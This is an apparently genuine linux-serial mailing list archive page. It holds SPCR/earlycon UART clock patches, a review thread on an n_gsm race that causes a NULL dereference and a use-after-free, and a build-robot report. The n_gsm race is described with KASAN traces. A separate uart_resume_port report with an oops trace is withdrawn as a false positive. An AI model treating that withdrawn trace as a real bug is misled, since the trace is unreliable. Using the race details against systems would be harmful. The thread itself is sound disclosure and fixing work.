* [PATCH v3 2/2] ACPI: SPCR: Support UART clock frequency field
From: Markus Probst @ 2026-06-15 0:40 UTC (permalink / raw)
To: Greg Kroah-Hartman, Jiri Slaby, Rafael J. Wysocki, Len Brown
Cc: linux-kernel, linux-serial, linux-acpi, Markus Probst
In-Reply-To: <20260615-acpi_spcr-v3-0-9a59ebad74ea@posteo.de>
The Microsoft Serial Port Console Redirection (SPCR) specification
revision 1.08 comprises additional field: UART Clock Frequency [1].
It contains a non-zero value indicating the UART clock frequency in Hz.
Link: https://learn.microsoft.com/en-us/windows-hardware/drivers/serports/serial-port-console-redirection-table [1]
Signed-off-by: Markus Probst <markus.probst@posteo.de>
---
drivers/acpi/spcr.c | 3 ++-
1 file changed, 2 insertions(+), 1 deletion(-)
diff --git a/drivers/acpi/spcr.c b/drivers/acpi/spcr.c
index 73cb933fdc89..c79c809f49d4 100644
--- a/drivers/acpi/spcr.c
+++ b/drivers/acpi/spcr.c
@@ -228,7 +228,8 @@ int __init acpi_parse_spcr(bool enable_earlycon, bool enable_console)
pr_info("console: %s\n", opts);
if (enable_earlycon)
- setup_earlycon(opts);
+ setup_earlycon_with_uartclk(opts,
+ table->header.revision >= 3 ? table->uart_clk_freq : 0);
if (enable_console)
err = add_preferred_console(uart, 0, opts + strlen(uart) + 1);
--
2.53.0
^ permalink raw reply related
* [PATCH v3 1/2] serial: earlycon: add uart_clk_freq parameter
From: Markus Probst @ 2026-06-15 0:40 UTC (permalink / raw)
To: Greg Kroah-Hartman, Jiri Slaby, Rafael J. Wysocki, Len Brown
Cc: linux-kernel, linux-serial, linux-acpi, Markus Probst
In-Reply-To: <20260615-acpi_spcr-v3-0-9a59ebad74ea@posteo.de>
Add function `setup_earlycon_with_uartclk`. This allows the
options string to be reused with `add_preferred_console`, while still
allowing to set the uart clock frequency. This will be used in the
following commit ("ACPI: SPCR: Support UART clock frequency field").
No logical change intended.
Signed-off-by: Markus Probst <markus.probst@posteo.de>
---
drivers/tty/serial/earlycon.c | 17 ++++++++++++-----
include/linux/serial_core.h | 11 +++++++++--
2 files changed, 21 insertions(+), 7 deletions(-)
diff --git a/drivers/tty/serial/earlycon.c b/drivers/tty/serial/earlycon.c
index ab9af37f6cda..5a20fe9e3fb6 100644
--- a/drivers/tty/serial/earlycon.c
+++ b/drivers/tty/serial/earlycon.c
@@ -135,11 +135,14 @@ static int __init parse_options(struct earlycon_device *device, char *options)
return 0;
}
-static int __init register_earlycon(char *buf, const struct earlycon_id *match)
+static int __init register_earlycon(char *buf, unsigned int uart_clk_freq,
+ const struct earlycon_id *match)
{
int err;
struct uart_port *port = &early_console_dev.port;
+ port->uartclk = uart_clk_freq;
+
/* On parsing error, pass the options buf to the setup function */
if (buf && !parse_options(&early_console_dev, buf))
buf = NULL;
@@ -163,8 +166,9 @@ static int __init register_earlycon(char *buf, const struct earlycon_id *match)
}
/**
- * setup_earlycon - match and register earlycon console
- * @buf: earlycon param string
+ * setup_earlycon_with_uartclk - match and register earlycon console
+ * @buf: earlycon param string
+ * @uart_clk_freq: uart clock frequency in Hz or 0 for BASE_BAUD*16
*
* Registers the earlycon console matching the earlycon specified
* in the param string @buf. Acceptable param strings are of the form
@@ -177,10 +181,13 @@ static int __init register_earlycon(char *buf, const struct earlycon_id *match)
* <options> string in the 'options' parameter; all other forms set
* the parameter to NULL.
*
+ * If the uart clock frequency is specified in the 'options' parameter,
+ * the value of the param @uart_clk_freq will be ignored.
+ *
* Returns 0 if an attempt to register the earlycon was made,
* otherwise negative error code
*/
-int __init setup_earlycon(char *buf)
+int __init setup_earlycon_with_uartclk(char *buf, unsigned int uart_clk_freq)
{
const struct earlycon_id *match;
bool empty_compatible = true;
@@ -209,7 +216,7 @@ int __init setup_earlycon(char *buf)
} else
buf = NULL;
- return register_earlycon(buf, match);
+ return register_earlycon(buf, uart_clk_freq, match);
}
if (empty_compatible) {
diff --git a/include/linux/serial_core.h b/include/linux/serial_core.h
index 110ad4e2aef9..19d8181c9005 100644
--- a/include/linux/serial_core.h
+++ b/include/linux/serial_core.h
@@ -1097,11 +1097,18 @@ int of_setup_earlycon(const struct earlycon_id *match, unsigned long node,
#ifdef CONFIG_SERIAL_EARLYCON
extern bool earlycon_acpi_spcr_enable __initdata;
-int setup_earlycon(char *buf);
+int setup_earlycon_with_uartclk(char *buf, unsigned int uart_clk_freq);
#else
static const bool earlycon_acpi_spcr_enable EARLYCON_USED_OR_UNUSED;
-static inline int setup_earlycon(char *buf) { return 0; }
+static inline int setup_earlycon_with_uartclk(char *buf, unsigned int uart_clk_freq)
+{
+ return 0;
+}
#endif
+static inline int setup_earlycon(char *buf)
+{
+ return setup_earlycon_with_uartclk(buf, 0);
+}
/* Variant of uart_console_registered() when the console_list_lock is held. */
static inline bool uart_console_registered_locked(struct uart_port *port)
--
2.53.0
^ permalink raw reply related
* [PATCH v3 0/2] ACPI: SPCR: Support UART clock frequency field
From: Markus Probst @ 2026-06-15 0:40 UTC (permalink / raw)
To: Greg Kroah-Hartman, Jiri Slaby, Rafael J. Wysocki, Len Brown
Cc: linux-kernel, linux-serial, linux-acpi, Markus Probst
Support the uart clock frequency in the SPCR table.
See the commit messages for details.
Signed-off-by: Markus Probst <markus.probst@posteo.de>
---
Changes in v3:
- add separate function for earlycon with uartclk
- Link to v2: https://patch.msgid.link/20260525-acpi_spcr-v2-0-c042089d73ca@posteo.de
Changes in v2:
- fix uart_clk_freq possibly being interpreted as parity/bits/flow
- Link to v1: https://patch.msgid.link/20260505-acpi_spcr-v1-1-fd4bc6f4eb53@posteo.de
---
Markus Probst (2):
serial: earlycon: add uart_clk_freq parameter
ACPI: SPCR: Support UART clock frequency field
drivers/acpi/spcr.c | 3 ++-
drivers/tty/serial/earlycon.c | 17 ++++++++++++-----
include/linux/serial_core.h | 11 +++++++++--
3 files changed, 23 insertions(+), 8 deletions(-)
---
base-commit: b3f94b2b3f3e51ab880a51fc6510e1dafba654ed
change-id: 20260430-acpi_spcr-61902fd923f2
^ permalink raw reply
* Re: [PATCH] tty: n_gsm: fix NULL deref of gsm->dlci[0] in control message handlers
From: Weiming Shi @ 2026-06-13 5:43 UTC (permalink / raw)
To: Greg Kroah-Hartman, Weiming Shi
Cc: Jiri Slaby, Daniel Starke, linux-kernel, linux-serial, Xiang Mei
In-Reply-To: <2026061228-scrubber-cosmetics-c77a@gregkh>
On Fri Jun 12, 2026 at 10:28 PM CST, Greg Kroah-Hartman wrote:
> On Fri, Jun 12, 2026 at 10:19:18PM +0800, Weiming Shi wrote:
>> On Fri Jun 12, 2026 at 2:50 AM CST, Greg Kroah-Hartman wrote:
>> > On Thu, Jun 11, 2026 at 11:32:18AM -0700, Weiming Shi wrote:
>> >> gsm_control_command() and gsm_control_reply() load gsm->dlci[0] and
>> >> immediately dereference dlci->ftype without checking it for NULL.
>> >>
>> >> On the receive path, gsm_queue() validates that gsm->dlci[0] is non-NULL
>> >> and DLCI_OPEN before invoking the control handler, but the value is not
>> >> held across that check: the receive worker runs from flush_to_ldisc()
>> >> without taking gsm->mutex, while a concurrent GSMIOC_SETCONF ioctl can
>> >> enter gsm_cleanup_mux(), which takes gsm->mutex, releases gsm->dlci[0]
>> >> and sets it to NULL. If the mux is torn down between gsm_queue()'s check
>> >> and the re-load inside gsm_control_command()/gsm_control_reply(), the
>> >> handler dereferences a NULL dlci.
>> >>
>> >> A peer that drives DLCI 0 control frames (e.g. CMD_TEST) while the mux
>> >> owner reconfigures the line discipline can therefore crash the kernel
>> >> (line numbers from decode_stacktrace.sh against the crashing build):
>> >>
>> >> Oops: general protection fault, probably for non-canonical address
>> >> KASAN: null-ptr-deref in range [0x0000000000000208-0x000000000000020f]
>> >> RIP: 0010:gsm_control_reply (drivers/tty/n_gsm.c:1497)
>> >> Call Trace:
>> >> gsm_dlci_command (drivers/tty/n_gsm.c:2482)
>> >> gsm_queue.part.0 (drivers/tty/n_gsm.c:2852)
>> >> gsm0_receive (drivers/tty/n_gsm.c:2972)
>> >> gsmld_receive_buf (drivers/tty/n_gsm.c:3629)
>> >> tty_ldisc_receive_buf (drivers/tty/tty_buffer.c:391)
>> >> tty_port_default_receive_buf (drivers/tty/tty_port.c:39)
>> >> flush_to_ldisc (drivers/tty/tty_buffer.c:495)
>> >> process_one_work
>> >> worker_thread
>> >> kthread
>> >>
>> >> The other callers of these helpers (the keep-alive and negotiation timer
>> >> paths) already guard the gsm->dlci[0] access; only the receive path is
>> >> unguarded. The CMD_CLD handler in the same switch already checks the
>> >> loaded dlci for NULL for the very same reason. Bail out early when
>> >> gsm->dlci[0] has been cleared instead of dereferencing it.
>> >>
>> >> Triggering this requires CAP_NET_ADMIN to attach the n_gsm line
>> >> discipline (gsmld_open() uses capable(), not ns_capable()), so it is a
>> >> local denial of service for a privileged mux owner racing its own
>> >> control channel; harden the handlers regardless.
>> >>
>> >> Fixes: 5767712668b8 ("tty: n_gsm: cleanup gsm_control_command and gsm_control_reply")
>> >> Reported-by: Xiang Mei <xmei5@asu.edu>
>> >> Assisted-by: Claude:claude-opus-4-8
>> >> Signed-off-by: Weiming Shi <bestswngs@gmail.com>
>> >> ---
>> >> drivers/tty/n_gsm.c | 6 ++++++
>> >> 1 file changed, 6 insertions(+)
>> >>
>> >> diff --git a/drivers/tty/n_gsm.c b/drivers/tty/n_gsm.c
>> >> index 214abeb89aaa..860cfb91d510 100644
>> >> --- a/drivers/tty/n_gsm.c
>> >> +++ b/drivers/tty/n_gsm.c
>> >> @@ -1457,6 +1457,9 @@ static int gsm_control_command(struct gsm_mux *gsm, int cmd, const u8 *data,
>> >> struct gsm_msg *msg;
>> >> struct gsm_dlci *dlci = gsm->dlci[0];
>> >>
>> >> + if (!dlci)
>> >> + return -EINVAL;
>> >
>> > What precents dlci from being NULL right after you check this?
>> >
>> > thanks,
>> >
>> > greg k-h
>>
>> Hi greg,
>>
>> I'm sorry for taking so long to respond.
>>
>> After a closer look I think your review is correct.
>>
>> The real problem is that the receive path touches gsm->dlci[] with no
>> lock. The teardown side holds gsm->mutex while it releases and frees the
>> dlci, but the receive worker does not: gsm_queue() loads
>> dlci = gsm->dlci[address] while it is still valid and passes it down
>> through dlci->data() to gsm_control_command()/gsm_control_reply(), which
>> also re-read gsm->dlci[0] and dereference dlci->ftype.
>>
>> Meanwhile GSMIOC_SETCONF -> gsm_cleanup_mux() takes gsm->mutex, closes
>> DLCI0 and drops its reference via gsm_dlci_release(); the final
>> tty_port_put() runs the gsm_dlci_free() destructor, which clears the slot
>> and frees the object:
>>
>> ```
>> dlci->gsm->dlci[dlci->addr] = NULL;
>> kfree(dlci);
>> ```
>> If that happens while the worker is still in the dispatch above, it ends
>> up dereferencing the freed dlci. I can reproduce this as a use-after-free:
>>
>> ```
>> [ 997.227486][ T46] BUG: KASAN: slab-use-after-free in gsm_control_reply.isra.0 (drivers/tty/n_gsm.c:1162 drivers/tty/n_gsm.c:1494)
>> [ 997.229052][ T46] Read of size 8 at addr ffff888029ae9000 by task kworker/u16:2/46
>> [ 997.230517][ T46]
>> [ 997.230952][ T46] CPU: 1 UID: 0 PID: 46 Comm: kworker/u16:2 Not tainted 7.1.0-rc7 #1 PREEMPT(full)
>> [ 997.230958][ T46] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-4
>> [ 997.230961][ T46] Workqueue: events_unbound flush_to_ldisc
>> [ 997.230969][ T46] Call Trace:
>> [ 997.230972][ T46] <TASK>
>> [ 997.230974][ T46] dump_stack_lvl (lib/dump_stack.c:94 lib/dump_stack.c:120)
>> [ 997.230990][ T46] print_report (mm/kasan/report.c:378 mm/kasan/report.c:482)
>> [ 997.231008][ T46] kasan_report (mm/kasan/report.c:595)
>> [ 997.231016][ T46] gsm_control_reply.isra.0 (drivers/tty/n_gsm.c:1162 drivers/tty/n_gsm.c:1494)
>> [ 997.231020][ T46] gsm_dlci_command (drivers/tty/n_gsm.c:1873 drivers/tty/n_gsm.c:2477)
>> [ 997.231036][ T46] gsmld_receive_buf (drivers/tty/n_gsm.c:3616)
>> [ 997.231044][ T46] tty_ldisc_receive_buf (drivers/tty/tty_buffer.c:398)
>> [ 997.231052][ T46] tty_port_default_receive_buf (drivers/tty/tty_port.c:37)
>> [ 997.231056][ T46] flush_to_ldisc (drivers/tty/tty_buffer.c:452 drivers/tty/tty_buffer.c:502)
>> [ 997.231066][ T46] process_one_work (kernel/workqueue.c:3314)
>> [ 997.231082][ T46] worker_thread (kernel/workqueue.c:3397 kernel/workqueue.c:3478)
>> [ 997.231091][ T46] kthread (kernel/kthread.c:436)
>> [ 997.231103][ T46] ret_from_fork (arch/x86/kernel/process.c:158)
>> [ 997.231120][ T46] ret_from_fork_asm (arch/x86/entry/entry_64.S:245)
>> [ 997.231128][ T46] </TASK>
>> [ 997.231130][ T46]
>> [ 997.267905][ T46] Allocated by task 5110:
>> [ 997.268716][ T46] kasan_save_stack (mm/kasan/common.c:57)
>> [ 997.269595][ T46] kasan_save_track (mm/kasan/common.c:78)
>> [ 997.270483][ T46] __kasan_kmalloc (mm/kasan/common.c:398 mm/kasan/common.c:415)
>> [ 997.271353][ T46] gsm_dlci_alloc (./include/linux/slab.h:950 ./include/linux/slab.h:1188 drivers/tty/n_gsm.c:2648)
>> [ 997.272203][ T46] gsm_activate_mux (drivers/tty/n_gsm.c:3189)
>> [ 997.273109][ T46] gsmld_ioctl (drivers/tty/n_gsm.c:3443 drivers/tty/n_gsm.c:3846)
>> [ 997.273981][ T46] tty_ioctl (drivers/tty/tty_io.c:2801)
>> [ 997.274789][ T46] __x64_sys_ioctl (fs/ioctl.c:51 fs/ioctl.c:597 fs/ioctl.c:583 fs/ioctl.c:583)
>> [ 997.275682][ T46] do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94)
>> [ 997.276544][ T46] entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
>> [ 997.277658][ T46]
>> [ 997.278108][ T46] Freed by task 5110:
>> [ 997.278865][ T46] kasan_save_stack (mm/kasan/common.c:57)
>> [ 997.279740][ T46] kasan_save_track (mm/kasan/common.c:78)
>> [ 997.280615][ T46] kasan_save_free_info (mm/kasan/generic.c:584)
>> [ 997.281554][ T46] __kasan_slab_free (mm/kasan/common.c:253 mm/kasan/common.c:285)
>> [ 997.282435][ T46] kfree (./include/linux/kasan.h:235 mm/slub.c:2689 mm/slub.c:6251 mm/slub.c:6566)
>> [ 997.283159][ T46] gsm_cleanup_mux (drivers/tty/n_gsm.c:2711 drivers/tty/n_gsm.c:2744 drivers/tty/n_gsm.c:3161)
>> [ 997.284050][ T46] gsmld_ioctl (drivers/tty/n_gsm.c:3415 drivers/tty/n_gsm.c:3846)
>> [ 997.284928][ T46] tty_ioctl (drivers/tty/tty_io.c:2801)
>> [ 997.285746][ T46] __x64_sys_ioctl (fs/ioctl.c:51 fs/ioctl.c:597 fs/ioctl.c:583 fs/ioctl.c:583)
>> [ 997.286653][ T46] do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94)
>> [ 997.287526][ T46] entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
>> [ 997.288639][ T46]
>>
>> ```
>>
>> The NULL deref I reported is the same unguarded access on the same
>> path, just hitting the window after the slot is already cleared. Either
>> way a NULL check in the handlers can't fix it, since in the UAF case dlci
>> isn't NULL.
>>
>> I think the fix should serialize the receive side against
>> gsm_cleanup_mux() instead of checking in the handlers. Two ways I can see:
>>
>> 1. take gsm->mutex around the dlci lookup and dispatch in gsm_queue(), or
>> 2. pin the dlci across the dispatch using its existing tty_port ref
>> (dlci_get/dlci_put), so gsm_dlci_free() can't run while it's in use.
>>
>> Do you have a preference, or is there a pattern in n_gsm you'd rather I
>> use? I'll respin v2 once I know which way to go.
>
> The bigger issue here is that almost no one has this hardware. And
> those that do, don't care about these types of issues as they do not
> have untrusted data or untrusted users, so be careful when changing
> things that you aren't able to test.
>
> I think that option 2 would probably be best, as that should not affect
> any fast code paths, right?
>
>> And I'll send the reproducer and the config to trigger it in a separate mail.
>
> Can you turn that into a real test to be added to the tree in the
> correct location? I think we need to start adding these so that we get
> a base regression test for people to be able to run as all the LLM tools
> seem to love the broken code in this file :)
>
> thanks,
>
> greg k-h
Hi greg,
I'll try to write a base regression test and sent it together with the v2.
Best,
Weiming Shi
^ permalink raw reply
* Re: [PATCH] tty: serial: core: fix NULL pointer deref in uart_resume_port()
From: Weiming Shi @ 2026-06-13 5:37 UTC (permalink / raw)
To: Greg Kroah-Hartman, Weiming Shi
Cc: Jiri Slaby, linux-kernel, linux-serial, Xiang Mei
In-Reply-To: <2026061238-utmost-amusement-4664@gregkh>
On Fri Jun 12, 2026 at 6:01 PM CST, Greg Kroah-Hartman wrote:
> On Mon, Jun 08, 2026 at 09:52:17AM -0700, Weiming Shi wrote:
>> uart_resume_port() looks up the tty device child with device_find_child()
>> and passes the result straight to device_may_wakeup(). device_find_child()
>> returns NULL when the port has no matching tty device child,
>
> How can that happen in a real system? Have you triggered this before,
> if so, what hardware does it?
>
>> and
>> device_may_wakeup() dereferences dev->power.can_wakeup, so a NULL tty_dev
>> faults. uart_suspend_port() already guards the same call with
>> "tty_dev && device_may_wakeup(tty_dev)"; the resume path does not.
>>
>> Oops: general protection fault, probably for non-canonical address
>> KASAN: null-ptr-deref in range [0x148-0x14f]
>> RIP: 0010:uart_resume_port (pm_wakeup.h:84 serial_core.c:2477)
>> serial_pnp_resume (8250/8250_pnp.c:522)
>> pnp_bus_resume (drivers/pnp/driver.c:234)
>
> Is this a real oops, or a made up one?
>
>> Mirror the NULL guard from uart_suspend_port(). put_device(tty_dev)
>> already tolerates a NULL argument, so only the device_may_wakeup() call
>> needs the check; the non-NULL path is unchanged.
>>
>> Fixes: b3b708fa2780 ("wake up from a serial port")
>> Reported-by: Xiang Mei <xmei5@asu.edu>
>
> Where was this reported?
>
> Why isn't this cc: stable? And why hasn't anyone tripped over it in the
> past 19 years?
>
> thanks,
>
> greg k-h
Hi greg,
This is a false positive, please drop it.
Sorry for wasting your time. I'll check reachability before sending anything next time.
Best,
Weiming Shi
^ permalink raw reply
* [tty:tty-testing] BUILD SUCCESS 426e83cab1f5d53069ac7030cb03e2d7c6367ef1
From: kernel test robot @ 2026-06-13 0:35 UTC (permalink / raw)
To: Greg Kroah-Hartman; +Cc: linux-serial
tree/branch: https://git.kernel.org/pub/scm/linux/kernel/git/gregkh/tty.git tty-testing
branch HEAD: 426e83cab1f5d53069ac7030cb03e2d7c6367ef1 serial: 8250_pci: Don't specify conflicting values to pci_device_id members
elapsed time: 857m
configs tested: 308
configs skipped: 3
The following configs have been built successfully.
More configs may be tested in the coming days.
tested configs:
alpha allnoconfig gcc-16.1.0
alpha allyesconfig gcc-16.1.0
alpha defconfig gcc-16.1.0
arc allmodconfig clang-23
arc allmodconfig gcc-16.1.0
arc allnoconfig gcc-16.1.0
arc allyesconfig clang-23
arc defconfig gcc-16.1.0
arc randconfig-001-20260612 gcc-13.4.0
arc randconfig-001-20260613 gcc-12.5.0
arc randconfig-002-20260612 gcc-13.4.0
arc randconfig-002-20260613 gcc-12.5.0
arm allnoconfig clang-23
arm allnoconfig gcc-16.1.0
arm allyesconfig clang-23
arm allyesconfig gcc-16.1.0
arm defconfig gcc-16.1.0
arm randconfig-001-20260612 gcc-13.4.0
arm randconfig-001-20260613 gcc-12.5.0
arm randconfig-002-20260612 gcc-13.4.0
arm randconfig-002-20260613 gcc-12.5.0
arm randconfig-003-20260612 gcc-13.4.0
arm randconfig-003-20260613 gcc-12.5.0
arm randconfig-004-20260612 gcc-13.4.0
arm randconfig-004-20260613 gcc-12.5.0
arm spear13xx_defconfig gcc-16.1.0
arm64 allmodconfig clang-23
arm64 allnoconfig gcc-16.1.0
arm64 defconfig gcc-16.1.0
arm64 randconfig-001 gcc-13.4.0
arm64 randconfig-001-20260612 gcc-13.4.0
arm64 randconfig-001-20260613 gcc-16.1.0
arm64 randconfig-002 gcc-13.4.0
arm64 randconfig-002-20260612 gcc-13.4.0
arm64 randconfig-002-20260613 gcc-16.1.0
arm64 randconfig-003 gcc-13.4.0
arm64 randconfig-003-20260612 gcc-13.4.0
arm64 randconfig-003-20260613 gcc-16.1.0
arm64 randconfig-004 gcc-13.4.0
arm64 randconfig-004-20260612 gcc-13.4.0
arm64 randconfig-004-20260613 gcc-16.1.0
csky allmodconfig gcc-16.1.0
csky allnoconfig gcc-16.1.0
csky defconfig gcc-16.1.0
csky randconfig-001 gcc-13.4.0
csky randconfig-001-20260612 gcc-13.4.0
csky randconfig-001-20260613 gcc-16.1.0
csky randconfig-002 gcc-13.4.0
csky randconfig-002-20260612 gcc-13.4.0
csky randconfig-002-20260613 gcc-16.1.0
hexagon allmodconfig clang-23
hexagon allmodconfig gcc-16.1.0
hexagon allnoconfig clang-23
hexagon allnoconfig gcc-16.1.0
hexagon defconfig gcc-16.1.0
hexagon randconfig-001 gcc-11.5.0
hexagon randconfig-001-20260612 gcc-11.5.0
hexagon randconfig-001-20260613 clang-23
hexagon randconfig-002 gcc-11.5.0
hexagon randconfig-002-20260612 gcc-11.5.0
hexagon randconfig-002-20260613 clang-23
i386 allmodconfig clang-22
i386 allmodconfig gcc-14
i386 allnoconfig gcc-14
i386 allnoconfig gcc-16.1.0
i386 allyesconfig clang-22
i386 buildonly-randconfig-001 gcc-14
i386 buildonly-randconfig-001-20260612 gcc-14
i386 buildonly-randconfig-001-20260613 gcc-14
i386 buildonly-randconfig-002 gcc-14
i386 buildonly-randconfig-002-20260612 gcc-14
i386 buildonly-randconfig-002-20260613 gcc-14
i386 buildonly-randconfig-003 gcc-14
i386 buildonly-randconfig-003-20260612 gcc-14
i386 buildonly-randconfig-003-20260613 gcc-14
i386 buildonly-randconfig-004 gcc-14
i386 buildonly-randconfig-004-20260612 gcc-14
i386 buildonly-randconfig-004-20260613 gcc-14
i386 buildonly-randconfig-005 gcc-14
i386 buildonly-randconfig-005-20260612 gcc-14
i386 buildonly-randconfig-005-20260613 gcc-14
i386 buildonly-randconfig-006 gcc-14
i386 buildonly-randconfig-006-20260612 gcc-14
i386 buildonly-randconfig-006-20260613 gcc-14
i386 defconfig gcc-16.1.0
i386 randconfig-001-20260612 clang-22
i386 randconfig-001-20260613 clang-22
i386 randconfig-002-20260612 clang-22
i386 randconfig-002-20260613 clang-22
i386 randconfig-003-20260612 clang-22
i386 randconfig-003-20260613 clang-22
i386 randconfig-004-20260612 clang-22
i386 randconfig-004-20260613 clang-22
i386 randconfig-005-20260612 clang-22
i386 randconfig-005-20260613 clang-22
i386 randconfig-006-20260612 clang-22
i386 randconfig-006-20260613 clang-22
i386 randconfig-007-20260612 clang-22
i386 randconfig-007-20260613 clang-22
i386 randconfig-011 clang-22
i386 randconfig-011-20260612 clang-22
i386 randconfig-011-20260613 gcc-14
i386 randconfig-012 clang-22
i386 randconfig-012-20260612 clang-22
i386 randconfig-012-20260613 gcc-14
i386 randconfig-013 clang-22
i386 randconfig-013-20260612 clang-22
i386 randconfig-013-20260613 gcc-14
i386 randconfig-014 clang-22
i386 randconfig-014-20260612 clang-22
i386 randconfig-014-20260613 gcc-14
i386 randconfig-015 clang-22
i386 randconfig-015-20260612 clang-22
i386 randconfig-015-20260613 gcc-14
i386 randconfig-016 clang-22
i386 randconfig-016-20260612 clang-22
i386 randconfig-016-20260613 gcc-14
i386 randconfig-017 clang-22
i386 randconfig-017-20260612 clang-22
i386 randconfig-017-20260613 gcc-14
loongarch allmodconfig clang-23
loongarch allnoconfig clang-20
loongarch allnoconfig gcc-16.1.0
loongarch defconfig clang-23
loongarch randconfig-001 gcc-11.5.0
loongarch randconfig-001-20260612 gcc-11.5.0
loongarch randconfig-001-20260613 clang-23
loongarch randconfig-002 gcc-11.5.0
loongarch randconfig-002-20260612 gcc-11.5.0
loongarch randconfig-002-20260613 clang-23
m68k allmodconfig gcc-16.1.0
m68k allnoconfig gcc-16.1.0
m68k allyesconfig clang-23
m68k allyesconfig gcc-16.1.0
m68k atari_defconfig gcc-16.1.0
m68k defconfig clang-23
microblaze allnoconfig gcc-16.1.0
microblaze allyesconfig gcc-16.1.0
microblaze defconfig clang-23
mips allmodconfig gcc-16.1.0
mips allnoconfig gcc-16.1.0
mips allyesconfig gcc-16.1.0
nios2 allmodconfig clang-20
nios2 allmodconfig gcc-11.5.0
nios2 allnoconfig clang-23
nios2 allnoconfig gcc-11.5.0
nios2 defconfig clang-23
nios2 randconfig-001 gcc-11.5.0
nios2 randconfig-001-20260612 gcc-11.5.0
nios2 randconfig-001-20260613 clang-23
nios2 randconfig-002 gcc-11.5.0
nios2 randconfig-002-20260612 gcc-11.5.0
nios2 randconfig-002-20260613 clang-23
openrisc allmodconfig clang-20
openrisc allmodconfig gcc-16.1.0
openrisc allnoconfig clang-23
openrisc allnoconfig gcc-16.1.0
openrisc defconfig gcc-16.1.0
parisc allmodconfig gcc-16.1.0
parisc allnoconfig clang-23
parisc allnoconfig gcc-16.1.0
parisc allyesconfig clang-23
parisc allyesconfig gcc-16.1.0
parisc defconfig gcc-16.1.0
parisc randconfig-001-20260613 gcc-15.2.0
parisc randconfig-002-20260613 gcc-15.2.0
parisc64 defconfig clang-23
powerpc allmodconfig gcc-16.1.0
powerpc allnoconfig clang-23
powerpc allnoconfig gcc-16.1.0
powerpc mpc885_ads_defconfig clang-23
powerpc randconfig-001-20260613 gcc-15.2.0
powerpc randconfig-002-20260613 gcc-15.2.0
powerpc64 randconfig-001-20260613 gcc-15.2.0
powerpc64 randconfig-002-20260613 gcc-15.2.0
riscv allmodconfig clang-23
riscv allnoconfig clang-23
riscv allnoconfig gcc-16.1.0
riscv allyesconfig clang-23
riscv defconfig gcc-16.1.0
riscv randconfig-001 gcc-11.5.0
riscv randconfig-001-20260612 gcc-11.5.0
riscv randconfig-001-20260613 gcc-10.5.0
riscv randconfig-002 gcc-11.5.0
riscv randconfig-002-20260612 gcc-11.5.0
riscv randconfig-002-20260613 gcc-10.5.0
s390 allmodconfig clang-23
s390 allnoconfig clang-23
s390 allyesconfig gcc-16.1.0
s390 defconfig gcc-16.1.0
s390 randconfig-001 gcc-11.5.0
s390 randconfig-001-20260612 gcc-11.5.0
s390 randconfig-001-20260613 gcc-10.5.0
s390 randconfig-002 gcc-11.5.0
s390 randconfig-002-20260612 gcc-11.5.0
s390 randconfig-002-20260613 gcc-10.5.0
sh allmodconfig gcc-16.1.0
sh allnoconfig clang-23
sh allnoconfig gcc-16.1.0
sh allyesconfig clang-23
sh allyesconfig gcc-16.1.0
sh defconfig gcc-14
sh randconfig-001 gcc-11.5.0
sh randconfig-001-20260612 gcc-11.5.0
sh randconfig-001-20260613 gcc-10.5.0
sh randconfig-002 gcc-11.5.0
sh randconfig-002-20260612 gcc-11.5.0
sh randconfig-002-20260613 gcc-10.5.0
sparc allnoconfig clang-23
sparc allnoconfig gcc-16.1.0
sparc defconfig gcc-16.1.0
sparc randconfig-001-20260612 gcc-8.5.0
sparc randconfig-001-20260613 gcc-13.4.0
sparc randconfig-002-20260612 gcc-8.5.0
sparc randconfig-002-20260613 gcc-13.4.0
sparc sparc64_defconfig gcc-16.1.0
sparc64 allmodconfig clang-20
sparc64 defconfig gcc-14
sparc64 randconfig-001-20260612 gcc-8.5.0
sparc64 randconfig-001-20260613 gcc-13.4.0
sparc64 randconfig-002-20260612 gcc-8.5.0
sparc64 randconfig-002-20260613 gcc-13.4.0
um allmodconfig clang-23
um allnoconfig clang-16
um allnoconfig clang-23
um allyesconfig gcc-14
um allyesconfig gcc-16.1.0
um defconfig gcc-14
um i386_defconfig gcc-14
um randconfig-001-20260612 gcc-8.5.0
um randconfig-001-20260613 gcc-13.4.0
um randconfig-002-20260612 gcc-8.5.0
um randconfig-002-20260613 gcc-13.4.0
um x86_64_defconfig gcc-14
x86_64 allmodconfig clang-22
x86_64 allnoconfig clang-22
x86_64 allnoconfig clang-23
x86_64 allyesconfig clang-22
x86_64 buildonly-randconfig-001-20260612 gcc-14
x86_64 buildonly-randconfig-001-20260613 clang-22
x86_64 buildonly-randconfig-002-20260612 gcc-14
x86_64 buildonly-randconfig-002-20260613 clang-22
x86_64 buildonly-randconfig-003-20260612 gcc-14
x86_64 buildonly-randconfig-003-20260613 clang-22
x86_64 buildonly-randconfig-004-20260612 gcc-14
x86_64 buildonly-randconfig-004-20260613 clang-22
x86_64 buildonly-randconfig-005-20260612 gcc-14
x86_64 buildonly-randconfig-005-20260613 clang-22
x86_64 buildonly-randconfig-006-20260612 gcc-14
x86_64 buildonly-randconfig-006-20260613 clang-22
x86_64 defconfig gcc-14
x86_64 kexec clang-22
x86_64 randconfig-001-20260612 clang-22
x86_64 randconfig-001-20260613 clang-22
x86_64 randconfig-002-20260612 clang-22
x86_64 randconfig-002-20260613 clang-22
x86_64 randconfig-003-20260612 clang-22
x86_64 randconfig-003-20260613 clang-22
x86_64 randconfig-004-20260612 clang-22
x86_64 randconfig-004-20260613 clang-22
x86_64 randconfig-005-20260612 clang-22
x86_64 randconfig-005-20260613 clang-22
x86_64 randconfig-006-20260612 clang-22
x86_64 randconfig-006-20260613 clang-22
x86_64 randconfig-011 clang-22
x86_64 randconfig-011-20260612 clang-22
x86_64 randconfig-011-20260613 clang-22
x86_64 randconfig-012 clang-22
x86_64 randconfig-012-20260612 clang-22
x86_64 randconfig-012-20260613 clang-22
x86_64 randconfig-013 clang-22
x86_64 randconfig-013-20260612 clang-22
x86_64 randconfig-013-20260613 clang-22
x86_64 randconfig-014 clang-22
x86_64 randconfig-014-20260612 clang-22
x86_64 randconfig-014-20260613 clang-22
x86_64 randconfig-015 clang-22
